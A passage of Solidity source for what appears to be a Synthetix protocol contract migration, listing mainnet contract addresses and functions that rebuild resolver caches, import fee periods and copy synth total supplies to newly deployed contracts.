addressresolver_importAddresses_destinations_0_1[3] = address(new_Synthetix_contract); addressresolver_importAddresses_destinations_0_1[4] = address(new_DebtCache_contract); addressresolver_importAddresses_destinations_0_1[5] = address(new_Exchanger_contract); addressresolver_importAddresses_destinations_0_1[6] = address(new_Issuer_contract); addressresolver_importAddresses_destinations_0_1[7] = address(new_WrapperFactory_contract); addressresolver_importAddresses_destinations_0_1[8] = address(new_SynthsUSD_contract); addressresolver_importAddresses_destinations_0_1[9] = address(new_SynthsEUR_contract); addressresolver_importAddresses_destinations_0_1[10] = address(new_SynthsJPY_contract); addressresolver_importAddresses_destinations_0_1[11] = address(new_SynthsAUD_contract); addressresolver_importAddresses_destinations_0_1[12] = address(new_SynthsGBP_contract); addressresolver_importAddresses_destinations_0_1[13] = address(new_SynthsCHF_contract); addressresolver_importAddresses_destinations_0_1[14] = address(new_SynthsKRW_contract); addressresolver_importAddresses_destinations_0_1[15] = address(new_SynthsBTC_contract); addressresolver_importAddresses_destinations_0_1[16] = address(new_SynthsETH_contract); addressresolver_importAddresses_destinations_0_1[17] = address(new_SynthsLINK_contract); addressresolver_importAddresses_destinations_0_1[18] = address(new_SynthsADA_contract); addressresolver_importAddresses_destinations_0_1[19] = address(new_SynthsAAVE_contract); addressresolver_importAddresses_destinations_0_1[20] = address(new_SynthsDOT_contract); addressresolver_importAddresses_destinations_0_1[21] = address(new_SynthsDEFI_contract); addressresolver_i.importAddresses( addressresolver_importAddresses_names_0_0, addressresolver_importAddresses_destinations_0_1 ); } function addressresolver_rebuildCaches_1() external { MixinResolver[] memory addressresolver_rebuildCaches_destinations_1_0 = new MixinResolver[](20); addressresolver_rebuildCaches_destinations_1_0[0] = MixinResolver(new_SystemSettings_contract); addressresolver_rebuildCaches_destinations_1_0[1] = MixinResolver(0xAD95C918af576c82Df740878C3E983CBD175daB6); addressresolver_rebuildCaches_destinations_1_0[2] = MixinResolver(new_DebtCache_contract); addressresolver_rebuildCaches_destinations_1_0[3] = MixinResolver(new_Exchanger_contract); addressresolver_rebuildCaches_destinations_1_0[4] = MixinResolver(new_Issuer_contract); addressresolver_rebuildCaches_destinations_1_0[5] = MixinResolver(0xC1AAE9d18bBe386B102435a8632C8063d31e747C); addressresolver_rebuildCaches_destinations_1_0[6] = MixinResolver(0x067e398605E84F2D0aEEC1806e62768C5110DCc6); addressresolver_rebuildCaches_destinations_1_0[7] = MixinResolver(0x5c8344bcdC38F1aB5EB5C1d4a35DdEeA522B5DfA); addressresolver_rebuildCaches_destinations_1_0[8] = MixinResolver(0xaa03aB31b55DceEeF845C8d17890CC61cD98eD04); addressresolver_rebuildCaches_destinations_1_0[9] = MixinResolver(0x1F2c3a1046c32729862fcB038369696e3273a516); addressresolver_rebuildCaches_destinations_1_0[10] = MixinResolver(new_ExchangeRates_contract); addressresolver_rebuildCaches_destinations_1_0[11] = MixinResolver(0xDA4eF8520b1A57D7d63f1E249606D1A459698876); addressresolver_rebuildCaches_destinations_1_0[12] = MixinResolver(new_WrapperFactory_contract); addressresolver_rebuildCaches_destinations_1_0[13] = MixinResolver(new_SynthsUSD_contract); addressresolver_rebuildCaches_destinations_1_0[14] = MixinResolver(new_SynthsEUR_contract); addressresolver_rebuildCaches_destinations_1_0[15] = MixinResolver(new_SynthsJPY_contract); addressresolver_rebuildCaches_destinations_1_0[16] = MixinResolver(new_SynthsAUD_contract); addressresolver_rebuildCaches_destinations_1_0[17] = MixinResolver(new_SynthsGBP_contract); addressresolver_rebuildCaches_destinations_1_0[18] = MixinResolver(new_SynthsCHF_contract); addressresolver_rebuildCaches_destinations_1_0[19] = MixinResolver(new_SynthsKRW_contract); addressresolver_i.rebuildCaches(addressresolver_rebuildCaches_destinations_1_0); } function addressresolver_rebuildCaches_2() internal { MixinResolver[] memory addressresolver_rebuildCaches_destinations_2_0 = new MixinResolver[](13); addressresolver_rebuildCaches_destinations_2_0[0] = MixinResolver(new_SynthsBTC_contract); addressresolver_rebuildCaches_destinations_2_0[1] = MixinResolver(new_SynthsETH_contract); addressresolver_rebuildCaches_destinations_2_0[2] = MixinResolver(new_SynthsLINK_contract); addressresolver_rebuildCaches_destinations_2_0[3] = MixinResolver(new_SynthsADA_contract); addressresolver_rebuildCaches_destinations_2_0[4] = MixinResolver(new_SynthsAAVE_contract); addressresolver_rebuildCaches_destinations_2_0[5] = MixinResolver(new_SynthsDOT_contract); addressresolver_rebuildCaches_destinations_2_0[6] = MixinResolver(new_SynthsDEFI_contract); addressresolver_rebuildCaches_destinations_2_0[7] = MixinResolver(new_FeePool_contract); addressresolver_rebuildCaches_destinations_2_0[8] = MixinResolver(0x62922670313bf6b41C580143d1f6C173C5C20019); addressresolver_rebuildCaches_destinations_2_0[9] = MixinResolver(0xCd9D4988C0AE61887B075bA77f08cbFAd2b65068); addressresolver_rebuildCaches_destinations_2_0[10] = MixinResolver(new_Synthetix_contract); addressresolver_rebuildCaches_destinations_2_0[11] = MixinResolver(0xe533139Af961c9747356D947838c98451015e234); addressresolver_rebuildCaches_destinations_2_0[12] = MixinResolver(0x7A3d898b717e50a96fd8b232E9d15F0A547A7eeb); addressresolver_i.rebuildCaches(addressresolver_rebuildCaches_destinations_2_0); } function importFeePeriod_0() external { // https://etherscan.io/address/0x510adfDF6E7554C571b7Cd9305Ce91473610015e; FeePool existingFeePool = FeePool(0x510adfDF6E7554C571b7Cd9305Ce91473610015e); // https://etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579; FeePool newFeePool = FeePool(0xc398406FFfBEd5B0680e706634490062CB1DB579); ( uint64 feePeriodId_0, uint64 startingDebtIndex_0, uint64 startTime_0, uint feesToDistribute_0, uint feesClaimed_0, uint rewardsToDistribute_0, uint rewardsClaimed_0 ) = existingFeePool.recentFeePeriods(0); newFeePool.importFeePeriod( 0, feePeriodId_0, startingDebtIndex_0, startTime_0, feesToDistribute_0, feesClaimed_0, rewardsToDistribute_0, rewardsClaimed_0 ); } function importFeePeriod_1() external { // https://etherscan.io/address/0x510adfDF6E7554C571b7Cd9305Ce91473610015e; FeePool existingFeePool = FeePool(0x510adfDF6E7554C571b7Cd9305Ce91473610015e); // https://etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579; FeePool newFeePool = FeePool(0xc398406FFfBEd5B0680e706634490062CB1DB579); ( uint64 feePeriodId_1, uint64 startingDebtIndex_1, uint64 startTime_1, uint feesToDistribute_1, uint feesClaimed_1, uint rewardsToDistribute_1, uint rewardsClaimed_1 ) = existingFeePool.recentFeePeriods(1); newFeePool.importFeePeriod( 1, feePeriodId_1, startingDebtIndex_1, startTime_1, feesToDistribute_1, feesClaimed_1, rewardsToDistribute_1, rewardsClaimed_1 ); } function copyTotalSupplyFrom_sUSD() external { // https://etherscan.io/address/0x967968963517AFDC9b8Ccc9AD6649bC507E83a7b; Synth existingSynth = Synth(0x967968963517AFDC9b8Ccc9AD6649bC507E83a7b); // https://etherscan.io/address/0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA; Synth newSynth = Synth(0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sEUR() external { // https://etherscan.io/address/0xC61b352fCc311Ae6B0301459A970150005e74b3E; Synth existingSynth = Synth(0xC61b352fCc311Ae6B0301459A970150005e74b3E); // https://etherscan.io/address/0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0; Synth newSynth = Synth(0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sJPY() external { // https://etherscan.io/address/0x388fD1A8a7d36e03eFA1ab100a1c5159a3A3d427; Synth existingSynth = Synth(0x388fD1A8a7d36e03eFA1ab100a1c5159a3A3d427); // https://etherscan.io/address/0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A; Synth newSynth = Synth(0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sAUD() external { // https://etherscan.io/address/0x37B648a07476F4941D3D647f81118AFd55fa8a04; Synth existingSynth = Synth(0x37B648a07476F4941D3D647f81118AFd55fa8a04); // https://etherscan.io/address/0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827; Synth newSynth = Synth(0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sGBP() external { // https://etherscan.io/address/0xEF285D339c91aDf1dD7DE0aEAa6250805FD68258; Synth existingSynth = Synth(0xEF285D339c91aDf1dD7DE0aEAa6250805FD68258); // https://etherscan.io/address/0xde3892383965FBa6eC434bE6350F85f140098708; Synth newSynth = Synth(0xde3892383965FBa6eC434bE6350F85f140098708); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sCHF() external { // https://etherscan.io/address/0xcf9bB94b5d65589039607BA66e3DAC686d3eFf01; Synth existingSynth = Synth(0xcf9bB94b5d65589039607BA66e3DAC686d3eFf01); // https://etherscan.io/address/0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D; Synth newSynth = Synth(0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sKRW() external { // https://etherscan.io/address/0xCeC4e038371d32212C6Dcdf36Fdbcb6F8a34C6d8; Synth existingSynth = Synth(0xCeC4e038371d32212C6Dcdf36Fdbcb6F8a34C6d8); // https://etherscan.io/address/0xe2f532c389deb5E42DCe53e78A9762949A885455; Synth newSynth = Synth(0xe2f532c389deb5E42DCe53e78A9762949A885455); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sBTC() external { // https://etherscan.io/address/0xC8a5f06858a1B49A7F703EacD433A1444a5e5bd9; Synth existingSynth = Synth(0xC8a5f06858a1B49A7F703EacD433A1444a5e5bd9); // https://etherscan.io/address/0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353; Synth newSynth = Synth(0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sETH() external { // https://etherscan.io/address/0xCFA46B4923c0E75B7b84E9FBde70ED26feFefBf6; Synth existingSynth = Synth(0xCFA46B4923c0E75B7b84E9FBde70ED26feFefBf6); // https://etherscan.io/address/0xc70B42930BD8D30A79B55415deC3be60827559f7; Synth newSynth = Synth(0xc70B42930BD8D30A79B55415deC3be60827559f7); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sLINK() external { // https://etherscan.io/address/0xcd980Fc5CcdAe62B18A52b83eC64200121A929db; Synth existingSynth = Synth(0xcd980Fc5CcdAe62B18A52b83eC64200121A929db); // https://etherscan.io/address/0x3FFE35c3d412150C3B91d3E22eBA60E16030C608; Synth newSynth = Synth(0x3FFE35c3d412150C3B91d3E22eBA60E16030C608); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sADA() external { // https://etherscan.io/address/0xC22e51FA362654ea453B4018B616ef6f6ab3b779; Synth existingSynth = Synth(0xC22e51FA362654ea453B4018B616ef6f6ab3b779); // https://etherscan.io/address/0x8f9fa817200F5B95f9572c8Acf2b31410C00335a; Synth newSynth = Synth(0x8f9fa817200F5B95f9572c8Acf2b31410C00335a); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sAAVE() external { // https://etherscan.io/address/0xaB38249f4f56Ef868F6b5E01D9cFa26B952c1270; Synth existingSynth = Synth(0xaB38249f4f56Ef868F6b5E01D9cFa26B952c1270); // https://etherscan.io/address/0x0705F0716b12a703d4F8832Ec7b97C61771f0361; Synth newSynth = Synth(0x0705F0716b12a703d4F8832Ec7b97C61771f0361); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sDOT() external { // https://etherscan.io/address/0xfD0435A588BF5c5a6974BA19Fa627b772833d4eb; Synth existingSynth = Synth(0xfD0435A588BF5c5a6974BA19Fa627b772833d4eb); // https://etherscan.io/address/0xfA60918C4417b64E722ca15d79C751c1f24Ab995; Synth newSynth = Synth(0xfA60918C4417b64E722ca15d79C751c1f24Ab995); newSynth.setTotalSupply(existingSynth.totalSupply()); } function copyTotalSupplyFrom_sDEFI() external { // https://etherscan.io/address/0x46A7Af405093B27DA6DeF193C508Bd9240A255FA; Synth existingSynth = Synth(0x46A7Af405093B27DA6DeF193C508Bd9240A255FA); // https://etherscan.io/address/0xe59dFC746D566EB40F92ed0B162004e24E3AC932; Synth newSynth = Synth(0xe59dFC746D566EB40F92ed0B162004e24E3AC932); newSynth.setTotalSupply(existingSynth.totalSupply()); } function issuer_addSynths_105() external { ISynth[] memory issuer_addSynths_synthsToAdd_105_0 = new ISynth[](14); issuer_addSynths_synthsToAdd_105_0[0] = ISynth(new_SynthsUSD_contract); issuer_addSynths_synthsToAdd_105_0[1] = ISynth(new_SynthsEUR_contract); issuer_addSynths_synthsToAdd_105_0[2] = ISynth(new_SynthsJPY_contract); issuer_addSynths_synthsToAdd_105_0[3] = ISynth(new_SynthsAUD_contract); issuer_addSynths_synthsToAdd_105_0[4] = ISynth(new_SynthsGBP_contract); issuer_addSynths_synthsToAdd_105_0[5] = ISynth(new_SynthsCHF_contract); issuer_addSynths_synthsToAdd_105_0[6] = ISynth(new_SynthsKRW_contract); issuer_addSynths_synthsToAdd_105_0[7] = ISynth(new_SynthsBTC_contract); issuer_addSynths_synthsToAdd_105_0[8] = ISynth(new_SynthsETH_contract); issuer_addSynths_synthsToAdd_105_0[9] = ISynth(new_SynthsLINK_contract); issuer_addSynths_synthsToAdd_105_0[10] = ISynth(new_SynthsADA_contract); issuer_addSynths_synthsToAdd_105_0[11] = ISynth(new_SynthsAAVE_contract); issuer_addSynths_synthsToAdd_105_0[12] = ISynth(new_SynthsDOT_contract); issuer_addSynths_synthsToAdd_105_0[13] = ISynth(new_SynthsDEFI_contract); issuer_i.addSynths(issuer_addSynths_synthsToAdd_105_0); } } // solhint-disable contract-name-camelcase contract Migration_Alkaid is BaseMigration { // https://etherscan.io/address/0xEb3107117FEAd7de89Cd14D463D340A2E6917769; address public constant OWNER = 0xEb3107117FEAd7de89Cd14D463D340A2E6917769; // ---------------------------- // EXISTING SYNTHETIX CONTRACTS // ---------------------------- // https://etherscan.io/address/0x823bE81bbF96BEc0e25CA13170F5AaCb5B79ba83 AddressResolver public constant addressresolver_i = AddressResolver(0x823bE81bbF96BEc0e25CA13170F5AaCb5B79ba83); // https://etherscan.io/address/0xb440DD674e1243644791a4AdfE3A2AbB0A92d309 Proxy public constant proxyfeepool_i = Proxy(0xb440DD674e1243644791a4AdfE3A2AbB0A92d309); // https://etherscan.io/address/0xC9DFff5fA5605fd94F8B7927b892F2B57391e8bB FeePoolEternalStorage public constant feepooleternalstorage_i = FeePoolEternalStorage(0xC9DFff5fA5605fd94F8B7927b892F2B57391e8bB); // https://etherscan.io/address/0x11164F6a47C3f8472D19b9aDd516Fc780cb7Ee02 FeePoolState public constant feepoolstate_i = FeePoolState(0x11164F6a47C3f8472D19b9aDd516Fc780cb7Ee02); // https://etherscan.io/address/0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F Proxy public constant proxysynthetix_i = Proxy(0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F); // https://etherscan.io/address/0x545973f28950f50fc6c7F52AAb4Ad214A27C0564 ExchangeState public constant exchangestate_i = ExchangeState(0x545973f28950f50fc6c7F52AAb4Ad214A27C0564); // https://etherscan.io/address/0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E SystemStatus public constant systemstatus_i = SystemStatus(0x1c86B3CDF2a60Ae3a574f7f71d44E2C50BDdB87E); // https://etherscan.io/address/0x5b1b5fEa1b99D83aD479dF0C222F0492385381dD LegacyTokenState public constant tokenstatesynthetix_i = LegacyTokenState(0x5b1b5fEa1b99D83aD479dF0C222F0492385381dD); // https://etherscan.io/address/0x4b9Ca5607f1fF8019c1C6A3c2f0CC8de622D5B82 SynthetixState public constant synthetixstate_i = SynthetixState(0x4b9Ca5607f1fF8019c1C6A3c2f0CC8de622D5B82); // https://etherscan.io/address/0xb671F2210B1F6621A2607EA63E6B2DC3e2464d1F RewardEscrow public constant rewardescrow_i = RewardEscrow(0xb671F2210B1F6621A2607EA63E6B2DC3e2464d1F); // https://etherscan.io/address/0x29C295B046a73Cde593f21f63091B072d407e3F2 RewardsDistribution public constant rewardsdistribution_i = RewardsDistribution(0x29C295B046a73Cde593f21f63091B072d407e3F2); // https://etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579 FeePool public constant feepool_i = FeePool(0xc398406FFfBEd5B0680e706634490062CB1DB579); // https://etherscan.io/address/0x6d9296Df2ad52F174bF671f555d78628bEBa7752 ExchangeRatesWithDexPricing public constant exchangerates_i = ExchangeRatesWithDexPricing(0x6d9296Df2ad52F174bF671f555d78628bEBa7752); // https://etherscan.io/address/0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA MultiCollateralSynth public constant synthsusd_i = MultiCollateralSynth(0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA); // https://etherscan.io/address/0x05a9CBe762B36632b3594DA4F082340E0e5343e8 TokenState public constant tokenstatesusd_i = TokenState(0x05a9CBe762B36632b3594DA4F082340E0e5343e8); // https://etherscan.io/address/0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 Proxy public constant proxysusd_i = Proxy(0x57Ab1ec28D129707052df4dF418D58a2D46d5f51); // https://etherscan.io/address/0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0 MultiCollateralSynth public constant synthseur_i = MultiCollateralSynth(0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0); // https://etherscan.io/address/0x6568D9e750fC44AF00f857885Dfb8281c00529c4 TokenState public constant tokenstateseur_i = TokenState(0x6568D9e750fC44AF00f857885Dfb8281c00529c4); // https://etherscan.io/address/0xD71eCFF9342A5Ced620049e616c5035F1dB98620 ProxyERC20 public constant proxyseur_i = ProxyERC20(0xD71eCFF9342A5Ced620049e616c5035F1dB98620); // https://etherscan.io/address/0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A MultiCollateralSynth public constant synthsjpy_i = MultiCollateralSynth(0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A); // https://etherscan.io/address/0x4dFACfB15514C21c991ff75Bc7Bf6Fb1F98361ed TokenState public constant tokenstatesjpy_i = TokenState(0x4dFACfB15514C21c991ff75Bc7Bf6Fb1F98361ed); // https://etherscan.io/address/0xF6b1C627e95BFc3c1b4c9B825a032Ff0fBf3e07d ProxyERC20 public constant proxysjpy_i = ProxyERC20(0xF6b1C627e95BFc3c1b4c9B825a032Ff0fBf3e07d); // https://etherscan.io/address/0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827 MultiCollateralSynth public constant synthsaud_i = MultiCollateralSynth(0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827); // https://etherscan.io/address/0xCb29D2cf2C65d3Be1d00F07f3441390432D55203 TokenState public constant tokenstatesaud_i = TokenState(0xCb29D2cf2C65d3Be1d00F07f3441390432D55203); // https://etherscan.io/address/0xF48e200EAF9906362BB1442fca31e0835773b8B4 ProxyERC20 public constant proxysaud_i = ProxyERC20(0xF48e200EAF9906362BB1442fca31e0835773b8B4); // https://etherscan.io/address/0xde3892383965FBa6eC434bE6350F85f140098708 MultiCollateralSynth public constant synthsgbp_i = MultiCollateralSynth(0xde3892383965FBa6eC434bE6350F85f140098708); // https://etherscan.io/address/0x7e88D19A79b291cfE5696d496055f7e57F537A75 TokenState public constant tokenstatesgbp_i = TokenState(0x7e88D19A79b291cfE5696d496055f7e57F537A75); // https://etherscan.io/address/0x97fe22E7341a0Cd8Db6F6C021A24Dc8f4DAD855F ProxyERC20 public constant proxysgbp_i = ProxyERC20(0x97fe22E7341a0Cd8Db6F6C021A24Dc8f4DAD855F); // https://etherscan.io/address/0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D MultiCollateralSynth public constant synthschf_i = MultiCollateralSynth(0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D); // https://etherscan.io/address/0x52496fE8a4feaEFe14d9433E00D48E6929c13deC TokenState public constant tokenstateschf_i = TokenState(0x52496fE8a4feaEFe14d9433E00D48E6929c13deC); // https://etherscan.io/address/0x0F83287FF768D1c1e17a42F44d644D7F22e8ee1d ProxyERC20 public constant proxyschf_i = ProxyERC20(0x0F83287FF768D1c1e17a42F44d644D7F22e8ee1d); // https://etherscan.io/address/0xe2f532c389deb5E42DCe53e78A9762949A885455 MultiCollateralSynth public constant synthskrw_i = MultiCollateralSynth(0xe2f532c389deb5E42DCe53e78A9762949A885455); // https://etherscan.io/address/0x93B6e9FbBd2c32a0DC3C2B943B7C3CBC2fE23730 TokenState public constant tokenstateskrw_i = TokenState(0x93B6e9FbBd2c32a0DC3C2B943B7C3CBC2fE23730); // https://etherscan.io/address/0x269895a3dF4D73b077Fc823dD6dA1B95f72Aaf9B ProxyERC20 public constant proxyskrw_i = ProxyERC20(0x269895a3dF4D73b077Fc823dD6dA1B95f72Aaf9B); // https://etherscan.io/address/0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353 MultiCollateralSynth public constant synthsbtc_i = MultiCollateralSynth(0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353); // https://etherscan.io/address/0x4F6296455F8d754c19821cF1EC8FeBF2cD456E67 TokenState public constant tokenstatesbtc_i = TokenState(0x4F6296455F8d754c19821cF1EC8FeBF2cD456E67); // https://etherscan.io/address/0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6 ProxyERC20 public constant proxysbtc_i = ProxyERC20(0xfE18be6b3Bd88A2D2A7f928d00292E7a9963CfC6); // https://etherscan.io/address/0xc70B42930BD8D30A79B55415deC3be60827559f7 MultiCollateralSynth public constant synthseth_i = MultiCollateralSynth(0xc70B42930BD8D30A79B55415deC3be60827559f7); // https://etherscan.io/address/0x34A5ef81d18F3a305aE9C2d7DF42beef4c79031c TokenState public constant tokenstateseth_i = TokenState(0x34A5ef81d18F3a305aE9C2d7DF42beef4c79031c); // https://etherscan.io/address/0x5e74C9036fb86BD7eCdcb084a0673EFc32eA31cb ProxyERC20 public constant proxyseth_i = ProxyERC20(0x5e74C9036fb86BD7eCdcb084a0673EFc32eA31cb); // https://etherscan.io/address/0x3FFE35c3d412150C3B91d3E22eBA60E16030C608 MultiCollateralSynth public constant synthslink_i = MultiCollateralSynth(0x3FFE35c3d412150C3B91d3E22eBA60E16030C608); // https://etherscan.io/address/0x577D4a7395c6A5f46d9981a5F83fa7294926aBB0 TokenState public constant tokenstateslink_i = TokenState(0x577D4a7395c6A5f46d9981a5F83fa7294926aBB0); // https://etherscan.io/address/0xbBC455cb4F1B9e4bFC4B73970d360c8f032EfEE6 ProxyERC20 public constant proxyslink_i = ProxyERC20(0xbBC455cb4F1B9e4bFC4B73970d360c8f032EfEE6); // https://etherscan.io/address/0x8f9fa817200F5B95f9572c8Acf2b31410C00335a MultiCollateralSynth public constant synthsada_i = MultiCollateralSynth(0x8f9fa817200F5B95f9572c8Acf2b31410C00335a); // https://etherscan.io/address/0x9956c5019a24fbd5B506AD070b771577bAc5c343 TokenState public constant tokenstatesada_i = TokenState(0x9956c5019a24fbd5B506AD070b771577bAc5c343); // https://etherscan.io/address/0xe36E2D3c7c34281FA3bC737950a68571736880A1 ProxyERC20 public constant proxysada_i = ProxyERC20(0xe36E2D3c7c34281FA3bC737950a68571736880A1); // https://etherscan.io/address/0x0705F0716b12a703d4F8832Ec7b97C61771f0361 MultiCollateralSynth public constant synthsaave_i = MultiCollateralSynth(0x0705F0716b12a703d4F8832Ec7b97C61771f0361); // https://etherscan.io/address/0x9BcED8A8E3Ad81c9b146FFC880358f734A06f7c0 TokenState public constant tokenstatesaave_i = TokenState(0x9BcED8A8E3Ad81c9b146FFC880358f734A06f7c0); // https://etherscan.io/address/0xd2dF355C19471c8bd7D8A3aa27Ff4e26A21b4076 ProxyERC20 public constant proxysaave_i = ProxyERC20(0xd2dF355C19471c8bd7D8A3aa27Ff4e26A21b4076); // https://etherscan.io/address/0xfA60918C4417b64E722ca15d79C751c1f24Ab995 MultiCollateralSynth public constant synthsdot_i = MultiCollateralSynth(0xfA60918C4417b64E722ca15d79C751c1f24Ab995); // https://etherscan.io/address/0x73B1a2643507Cd30F11Dfcf2D974f4373E5BC077 TokenState public constant tokenstatesdot_i = TokenState(0x73B1a2643507Cd30F11Dfcf2D974f4373E5BC077); // https://etherscan.io/address/0x1715AC0743102BF5Cd58EfBB6Cf2dC2685d967b6 ProxyERC20 public constant proxysdot_i = ProxyERC20(0x1715AC0743102BF5Cd58EfBB6Cf2dC2685d967b6); // https://etherscan.io/address/0xe59dFC746D566EB40F92ed0B162004e24E3AC932 MultiCollateralSynth public constant synthsdefi_i = MultiCollateralSynth(0xe59dFC746D566EB40F92ed0B162004e24E3AC932); // https://etherscan.io/address/0x7Ac2D37098a65B0f711CFfA3be635F1E6aCacFaB TokenState public constant tokenstatesdefi_i = TokenState(0x7Ac2D37098a65B0f711CFfA3be635F1E6aCacFaB); // https://etherscan.io/address/0xe1aFe1Fd76Fd88f78cBf599ea1846231B8bA3B6B ProxyERC20 public constant proxysdefi_i = ProxyERC20(0xe1aFe1Fd76Fd88f78cBf599ea1846231B8bA3B6B); // https://etherscan.io/address/0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915 Issuer public constant issuer_i = Issuer(0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915); // https://etherscan.io/address/0xb6B476C41Ea01930e6abE1f44b96800de0404c98 SystemSettings public constant systemsettings_i = SystemSettings(0xb6B476C41Ea01930e6abE1f44b96800de0404c98); // ---------------------------------- // NEW CONTRACTS DEPLOYED TO BE ADDED // ---------------------------------- // https://etherscan.io/address/0xb6B476C41Ea01930e6abE1f44b96800de0404c98 address public constant new_SystemSettings_contract = 0xb6B476C41Ea01930e6abE1f44b96800de0404c98; // https://etherscan.io/address/0x6d9296Df2ad52F174bF671f555d78628bEBa7752 address public constant new_ExchangeRates_contract = 0x6d9296Df2ad52F174bF671f555d78628bEBa7752; // https://etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579 address public constant new_FeePool_contract = 0xc398406FFfBEd5B0680e706634490062CB1DB579; // https://etherscan.io/address/0xDC01020857afbaE65224CfCeDb265d1216064c59 address public constant new_Synthetix_contract = 0xDC01020857afbaE65224CfCeDb265d1216064c59; // https://etherscan.io/address/0x9D5551Cd3425Dd4585c3E7Eb7E4B98902222521E address public constant new_DebtCache_contract = 0x9D5551Cd3425Dd4585c3E7Eb7E4B98902222521E; // https://etherscan.io/address/0x2A417C61B8062363e4ff50900779463b45d235f6 address public constant new_Exchanger_contract = 0x2A417C61B8062363e4ff50900779463b45d235f6; // https://etherscan.io/address/0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915 address public constant new_Issuer_contract = 0xC2F1F551bfAd1E9A3b4816513bFd41d77f40F915; // https://etherscan.io/address/0x0a6956d554485a43494D69Eca78C5103511a8fEb address public constant new_WrapperFactory_contract = 0x0a6956d554485a43494D69Eca78C5103511a8fEb; // https://etherscan.io/address/0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA address public constant new_SynthsUSD_contract = 0xAFDd6B5A8aB32156dBFb4060ff87F6d9E31191bA; // https://etherscan.io/address/0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0 address public constant new_SynthsEUR_contract = 0xe301da3d2D3e96e57D05b8E557656629cDdbe7A0; // https://etherscan.io/address/0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A address public constant new_SynthsJPY_contract = 0x4ed5c5D5793f86c8a85E1a96E37b6d374DE0E85A; // https://etherscan.io/address/0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827 address public constant new_SynthsAUD_contract = 0x005d19CA7ff9D79a5Bdf0805Fc01D9D7c53B6827; // https://etherscan.io/address/0xde3892383965FBa6eC434bE6350F85f140098708 address public constant new_SynthsGBP_contract = 0xde3892383965FBa6eC434bE6350F85f140098708; // https://etherscan.io/address/0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D address public constant new_SynthsCHF_contract = 0x39DDbbb113AF3434048b9d8018a3e99d67C6eE0D; // https://etherscan.io/address/0xe2f532c389deb5E42DCe53e78A9762949A885455 address public constant new_SynthsKRW_contract = 0xe2f532c389deb5E42DCe53e78A9762949A885455; // https://etherscan.io/address/0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353 address public constant new_SynthsBTC_contract = 0x2B3eb5eF0EF06f2E02ef60B3F36Be4793d321353; // https://etherscan.io/address/0xc70B42930BD8D30A79B55415deC3be60827559f7 address public constant new_SynthsETH_contract = 0xc70B42930BD8D30A79B55415deC3be60827559f7; // https://etherscan.io/address/0x3FFE35c3d412150C3B91d3E22eBA60E16030C608 address public constant new_SynthsLINK_contract = 0x3FFE35c3d412150C3B91d3E22eBA60E16030C608; // https://etherscan.io/address/0x8f9fa817200F5B95f9572c8Acf2b31410C00335a address public constant new_SynthsADA_contract = 0x8f9fa817200F5B95f9572c8Acf2b31410C00335a; // https://etherscan.io/address/0x0705F0716b12a703d4F8832Ec7b97C61771f0361 address public constant new_SynthsAAVE_contract = 0x0705F0716b12a703d4F8832Ec7b97C61771f0361; // https://etherscan.io/address/0xfA60918C4417b64E722ca15d79C751c1f24Ab995 address public constant new_SynthsDOT_contract = 0xfA60918C4417b64E722ca15d79C751c1f24Ab995; // 